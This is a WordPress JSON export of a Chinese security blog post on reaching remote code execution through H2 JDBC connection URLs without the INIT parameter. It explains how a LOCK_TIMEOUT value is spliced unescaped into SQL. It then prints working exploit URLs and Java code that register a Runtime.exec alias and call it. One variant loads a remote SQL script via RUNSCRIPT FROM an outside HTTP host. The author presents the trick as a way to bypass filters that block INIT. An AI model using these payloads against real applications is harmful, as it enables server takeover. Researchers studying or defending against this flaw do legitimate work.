{"id":4214,"date":"2026-06-24T22:15:34","date_gmt":"2026-06-24T14:15:34","guid":{"rendered":"https:\/\/fushuling.com\/?p=4214"},"modified":"2026-06-27T17:16:44","modified_gmt":"2026-06-27T09:16:44","slug":"h2-jdbc-url-%e6%97%a0%e9%9c%80%e5%8f%82%e6%95%b0-init-%e6%89%a7%e8%a1%8c%e4%bb%a3%e7%a0%81%e7%9a%84%e6%96%b9%e6%b3%95","status":"publish","type":"post","link":"https:\/\/fushuling.com\/index.php\/2026\/06\/24\/h2-jdbc-url-%e6%97%a0%e9%9c%80%e5%8f%82%e6%95%b0-init-%e6%89%a7%e8%a1%8c%e4%bb%a3%e7%a0%81%e7%9a%84%e6%96%b9%e6%b3%95\/","title":{"rendered":"H2 JDBC URL \u65e0\u9700\u53c2\u6570 INIT \u6267\u884c\u4ee3\u7801\u7684\u65b9\u6cd5"},"content":{"rendered":"\n<p>\u770b H2 \u5e95\u5c42\u4ee3\u7801\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e2a\u5f88\u6709\u8da3\u7684 trick\uff0c\u9664\u4e86\u4e0b\u9762\u8fd9\u4e2a\u6211\u4eec\u719f\u77e5\u7684\u7528 INIT \u6307\u5b9a SQL \u8bed\u53e5\u6267\u884c Java \u4ee3\u7801\u7684\u7ecf\u5178 POC \uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=CREATE ALIAS EXEC AS 'void cmd_exec(String cmd) throws java.lang.Exception {Runtime.getRuntime().exec(cmd)\\\\;}'\\\\;CALL EXEC ('calc')\\\\;<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>jdbc:h2:mem:testdb;TRACE_LEVEL_SYSTEM_OUT=3;INIT=RUNSCRIPT FROM 'http:\/\/xxxxxx:50025\/poc.sql'<\/code><\/pre>\n\n\n\n<p>\u5176\u5b9e\u8fd8\u6709\u4e00\u79cd\u529e\u6cd5\u80fd\u4e0d\u4f7f\u7528\u53c2\u6570 INIT \u4e5f RCE\uff0c\u800c\u8fd9\u4e2a\u95ee\u9898\u4e4b\u6240\u4ee5\u53d1\u751f\u6709\u70b9\u50cf SQL \u6ce8\u5165\uff0c\u662f H2 \u9a71\u52a8\u5e95\u5c42\u4ee3\u7801\u5199\u7684\u6709\u70b9\u95ee\u9898<\/p>\n\n\n\n<p><code>ConnectionInfo<\/code> \u89e3\u6790 URL \u53c2\u6570\u4e4b\u540e\u4f1a\u6253\u5f00 Database \/ Session\uff0c\u800c\u5728 <code>openSession<\/code> \u8fd9\u91cc\u6709\u4e00\u4e2a\u5904\u7406\u903b\u8f91\uff0c\u5efa\u7acb\u8fde\u63a5\u7684\u9636\u6bb5\u5141\u8bb8\u5b57\u9762\u91cf\uff0c\u5bf9\u4e8e\u9664\u4e86\u5728\u4e4b\u524d\u5c31\u9884\u5148\u5904\u7406\u8fc7\u7684 <code>PAGE_SIZE<\/code>\u3001<code class=\"\">MV_STORE<\/code>&nbsp;\u7b49 <code>DbSettings<\/code> \u503c\u4ee5\u5916\uff0c\u5bf9\u4e8e\u5269\u4e0b\u7684\u53c2\u6570\u4f1a\u53bb\u770b\u5b83\u662f\u4e0d\u662f\u300c\u7b80\u5355\u6807\u8bc6\u7b26\u300d\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\">\n<li>\u4e0d\u662f&nbsp;\u2192 \u53ea\u6709&nbsp;<code class=\"\">TIME ZONE<\/code>&nbsp;\u7279\u6b8a\u5904\u7406\uff08\u52a0 SQL \u5f15\u53f7\uff09\uff0c\u522b\u7684\u76f4\u63a5\u629b\u9519<\/li>\n\n\n\n<li>\u662f\uff08<code class=\"\">LOCK_TIMEOUT<\/code>\u3001<code class=\"\">SCHEMA<\/code>&nbsp;)\u7b49\uff1a\u7528 SET \u52a0\u4e0a value \u539f\u6837\u62fc\u4e0a\u53bb\uff0c\u4e0d\u52a0\u5f15\u53f7\u3001\u4e0d\u8f6c\u4e49\uff0c\u4ee5\u5728\u8fde\u63a5\u8fc7\u7a0b\u4e2d\u5bf9\u53c2\u6570\u503c\u8fdb\u884c\u521d\u59cb\u5316<\/li>\n<\/ul>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-220348-24-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-220348-24-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u800c\u5728\u540e\u9762\uff0c\u6211\u4eec\u8fd9\u4e2a\u62fc\u597d\u7684 <code>SET xx=xx<\/code> \u5c31\u88ab <code>prepareLocal<\/code>&nbsp;\u76f4\u63a5\u5f53\u4f5c SQL \u8bed\u53e5\u6267\u884c\u4e86<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-220826-24-2.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-220826-24-2.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u8fd9\u5c31\u662f\u5f88\u5178\u578b\u7684\u6ce8\u5165\u7c7b\u95ee\u9898\uff0cH2 URL \u7684\u8bed\u6cd5\u91cc\u7528\u5206\u53f7\u5206\u5272\u4e0d\u540c\u7684\u5c5e\u6027\uff0c\u4f46\u4e5f\u5141\u8bb8\u7528\u53cd\u659c\u6760\u5bf9\u5206\u53f7\u8fdb\u884c\u6ce8\u91ca\uff0c\u56e0\u6b64\u5bf9\u4e8e\u4e00\u4e2a\u7c7b\u4f3c <code>LOCK_TIMEOUT=0\\;xxxxxxxx;<\/code>\u7684\u4ee3\u7801\uff0c\u5b83\u4f1a\u8ba4\u4e3a <code>0\\;xxxxxxxx;<\/code> \u662f\u524d\u9762\u8fd9\u4e2a\u53c2\u6570 <code>LOCK_TIMEOUT<\/code> \u7684\u503c\uff0c\u800c\u5728\u540e\u9762 SQL \u5f15\u64ce\u89e3\u6790\u7684\u65f6\u5019\u4f1a\u5ffd\u7565\u53cd\u659c\u6760\uff0c\u6240\u4ee5\u6700\u540e\u6267\u884c\u7684\u5185\u5bb9\u5c31\u53d8\u6210\u4e86 <code>LOCK_TIMEOUT=0<\/code> \u4ee5\u53ca\u540e\u9762\u8ddf\u7684 <code>xxxxxxxx<\/code>\uff0c\u6240\u4ee5\u6700\u7ec8\u7684 POC \u5f88\u7b80\u5355\uff0c\u5c31\u662f\u5728 <code>LOCK_TIMEOUT=0\\<\/code>; \u540e\u9762\u8ddf\u4ee3\u7801\u8ba9\u4ed6\u6267\u884c\u5373\u53ef\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>package JDBC;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\n\npublic class H2RCE_special {\n    public static void main(String&#91;] args) throws Exception {\n        String url = \"jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\\\;}'\\\\;CALL CMD('calc')\";\n        Connection conn = DriverManager.getConnection(url);\n\n    }\n}\n<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-221431-24-3.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260624-221431-24-3.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n\n\n\n<p>\u4ece\u6211\u7684\u7ecf\u9a8c\u6765\u770b\uff0c\u5927\u90e8\u5206\u7684\u5f00\u53d1\u8005\u8fd8\u662f\u76f4\u63a5\u62e6\u7684 INIT\uff0c\u8fd9\u4e2a trick \u5e94\u8be5\u53ef\u4ee5\u7ed5\u4e0d\u5c11\u9632\u62a4<\/p>\n\n\n\n<p>\u5f53\u7136\uff0c\u7528 RUNSCRIPT \u8fdc\u7a0b\u52a0\u8f7d sql \u6587\u4ef6\u4e5f\u662f\u53ef\u884c\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c);}';\nCALL CMD('calc');<\/code><\/pre>\n\n\n\n<pre class=\"wp-block-code\"><code>package JDBC;\n\nimport java.sql.Connection;\nimport java.sql.DriverManager;\n\npublic class H2RCE_special {\n    public static void main(String&#91;] args) throws Exception {\n\/\/        String url = \"jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\\\;CREATE ALIAS CMD AS 'void x(String c) throws Exception{Runtime.getRuntime().exec(c)\\\\;}'\\\\;CALL CMD('calc')\";\n        String url = \"jdbc:h2:mem:calc;LOCK_TIMEOUT=0\\\\;RUNSCRIPT FROM 'http:\/\/127.0.0.1:6666\/poc.sql';\";\n        Connection conn = DriverManager.getConnection(url);\n\n    }\n}<\/code><\/pre>\n\n\n\n<figure class=\"wp-block-image size-large\"><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260625-150109-25-1.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"https:\/\/fushuling-1309926051.cos.ap-shanghai.myqcloud.com\/2026\/06\/QQ20260625-150109-25-1.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"\"\/><\/div><\/figure>\n","protected":false},"excerpt":{"rendered":"<p>\u770b H2 \u5e95\u5c42\u4ee3\u7801\u7684\u65f6\u5019\u53d1\u73b0\u4e86\u4e00\u4e2a\u5f88\u6709\u8da3\u7684 trick\uff0c\u9664\u4e86\u4e0b\u9762\u8fd9\u4e2a\u6211\u4eec\u719f\u77e5\u7684\u7528 INIT \u6307\u5b9a SQL \u8bed\u53e5 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[1],"tags":[],"class_list":["post-4214","post","type-post","status-publish","format-standard","hentry","category-1"],"_links":{"self":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4214","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/comments?post=4214"}],"version-history":[{"count":5,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4214\/revisions"}],"predecessor-version":[{"id":4220,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/posts\/4214\/revisions\/4220"}],"wp:attachment":[{"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/media?parent=4214"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/categories?post=4214"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/fushuling.com\/index.php\/wp-json\/wp\/v2\/tags?post=4214"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}